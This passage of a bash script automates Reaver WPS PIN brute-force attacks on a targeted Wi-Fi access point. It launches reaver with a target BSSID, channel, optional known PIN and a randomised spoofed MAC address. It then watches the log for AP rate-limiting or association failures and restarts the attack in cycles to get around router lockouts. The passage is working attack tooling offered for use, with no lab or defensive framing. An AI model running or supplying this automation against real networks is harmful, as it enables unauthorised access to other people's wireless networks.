echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -vv -x 60 -r $RX39:$RY39 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi


REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R39 == n || $USE_R39 == N ]] && [[ $USE_LONG39 == y || $USE_LONG39 == Y ]] && [[ $USE_PIN39 == n || $USE_PIN39 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R39 == y || $USE_R39 == Y ]] && [[ $USE_LONG39 == y || $USE_LONG39 == Y ]] && [[ $USE_PIN39 == n || $USE_PIN39 == N ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX39" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY39"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -r $RX39:$RY39 -E -S -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi


REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R39 == n || $USE_R39 == N ]] && [[ $USE_LONG39 == n || $USE_LONG39 == N ]] && [[ $USE_PIN39 == y || $USE_PIN39 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -vv -x 60  --pin=$WPS_PIN39 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R39 == y || $USE_R39 == Y ]] && [[ $USE_LONG39 == n || $USE_LONG39 == N ]] && [[ $USE_PIN39 == y || $USE_PIN39 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME39"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL39"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP39"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX39" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY39"
echo -e "$info Reaver live time                   = $yel$LIVE39 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME39-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL39 -b $TARGETAP39 -vv -x 60 -r $RX39:$RY39 --pin=$WPS_PIN39 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME39-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE39-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME39-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME39-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME39-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP39 (ESSID: $NMEWARN39)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME39-$DATEFILE-$PAD

                   fi

